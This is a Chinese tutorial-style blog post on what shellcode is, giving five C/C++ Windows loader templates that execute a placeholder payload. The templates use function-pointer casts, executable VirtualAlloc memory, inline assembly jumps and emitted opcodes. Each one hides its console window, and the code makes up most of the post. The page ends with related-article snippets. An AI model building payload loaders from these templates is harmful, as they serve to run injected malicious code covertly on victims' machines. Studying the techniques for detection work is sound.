shellcode执行的几种常见方式

简介: 什么是shellcode?

一、什么是shellcode?

shellcode是一小段代码,用于利用软件漏洞作为有效载荷。它之所以被称为“shellcode”,是因为它通常启动一个命令shell,攻击者可以从这个命令shell控制受损的计算机,但是执行类似任务的任何代码都可以被称为shellcode。因为有效载荷(payload)的功能不仅限于生成shell

简单来说:shellcode为16进制的机器码,是一段执行某些动作的机器码

那么,什么是机器码呢?

在百度百科中这样解释道:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数

简单来说:直接指挥计算机的机器指令码


二、shellcode执行的几种常见方式

1、指针执行

最常见的一种加载shellcode的方法,使用指针来执行函数

#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
  ((void(*)(void)) & buf)();
}


2、申请动态内存加载

申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
    char shellcode[] = "你的shellcode";
    void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();
}


3、嵌入汇编加载

注:必须要x86版本的shellcode

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
  __asm
  {
    mov eax, offset shellcode
    jmp eax
  }
}


4、强制类型转换

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
  ((void(WINAPI*)(void)) & buff)();
}


5、汇编花指令

和方法3差不多

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
  __asm
  {   
    mov eax, offset xff;
    _emit 0xFF;
    _emit 0xE0;
  }
}


以上五种方法就是最常见的shellcode执行方式


目录
相关文章
|
数据库 开发者 Python
用Python代码打造你的私人网页交互系统
用Python代码打造你的私人网页交互系统
459 1
|
5月前
|
人工智能 监控 安全
一封“来自自己邮箱”的钓鱼邮件,如何绕过所有安全防线?微软揭示企业邮件配置盲区正成攻击温床
2025年,华南某金融科技公司遭遇“内部域名伪造”钓鱼攻击:员工收到来自自己邮箱的MFA更新邮件,实为攻击者利用SPF、DKIM、DMARC配置疏漏伪造。邮件显示“内部发送”,极具迷惑性,险致资金损失。微软披露,此类攻击全球频发,根源在于邮件认证链断裂。专家呼吁企业收紧DMARC策略、审计邮件路由,并建立“零信任邮件”文化,筑牢基础安全防线。
336 6
|
存储 安全 数据安全/隐私保护
打造安全防线!Python AES&RSA加密工具,黑客绕道走的秘籍
【9月更文挑战第9天】随着数字化时代的到来,信息安全问题日益凸显。本文将介绍如何使用Python结合AES与RSA两种加密算法,构建强大的加密工具。AES以其高效性和强安全性著称,适用于大量数据的快速加密;RSA作为非对称加密算法,在加密小量数据及实现数字签名方面表现卓越。通过整合两者,可以构建既安全又灵活的加密系统。首先,需要安装pycryptodome库。接着,实现AES加密与解密功能,最后利用RSA加密AES密钥,确保其安全传输。这种设计不仅提高了数据传输效率,还增强了密钥交换的安全性,为敏感数据提供坚实保护。
625 43
|
10月前
|
运维 网络协议 安全
为什么经过IPSec隧道后HTTPS会访问不通?一次隧道环境下的实战分析
本文介绍了一个典型的 HTTPS 无法访问问题的排查过程。问题表现为 HTTP 正常而 HTTPS 无法打开,最终发现是由于 MTU 设置不当导致报文被丢弃。HTTPS 因禁止分片,对 MTU 更敏感。解决方案包括调整 MSS 或中间设备干预。
|
Docker 容器
docker 换国内镜像源,docker换源
docker 换国内镜像源,docker换源
12150 91
|
存储 安全 API
Windows Server 2022 21H2 本地域权限提升漏洞(PetitPotam)
Windows Server 2022 Standard/Datacenter 存在本地域权限提升漏洞,攻击者可通过使用PetitPotam工具进行获取服务器SYSTEM权限。
1214 1
|
前端开发 JavaScript CDN
React 在 html 中 CDN 引入(包含 useState、antd、axios ....)
React 在 html 中 CDN 引入(包含 useState、antd、axios ....)
851 0
|
存储 安全 网络安全
Windows应急响应-QQ巨盗病毒
【10月更文挑战第7天】本文详细介绍了QQ巨盗病毒的危害及其应对措施。该病毒主要通过恶意网站、垃圾邮件等途径传播,窃取QQ账号及密码,并可能进一步泄露隐私信息和破坏系统。文章列举了感染迹象,如系统性能下降和网络异常,并提供了应急响应步骤,包括断网隔离、使用杀毒软件扫描清除病毒、修改密码及开启多重验证等,最后强调了系统恢复与加固以及用户安全教育的重要性。
756 0
|
安全 Shell Windows
【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限
【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限
573 2
|
Go API C++
实现第一个shellcod Loader
上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shellcode loader。当然编写Loader不止局限于C/C++,你也可以使用Python、Golang等语言编写加载器
639 0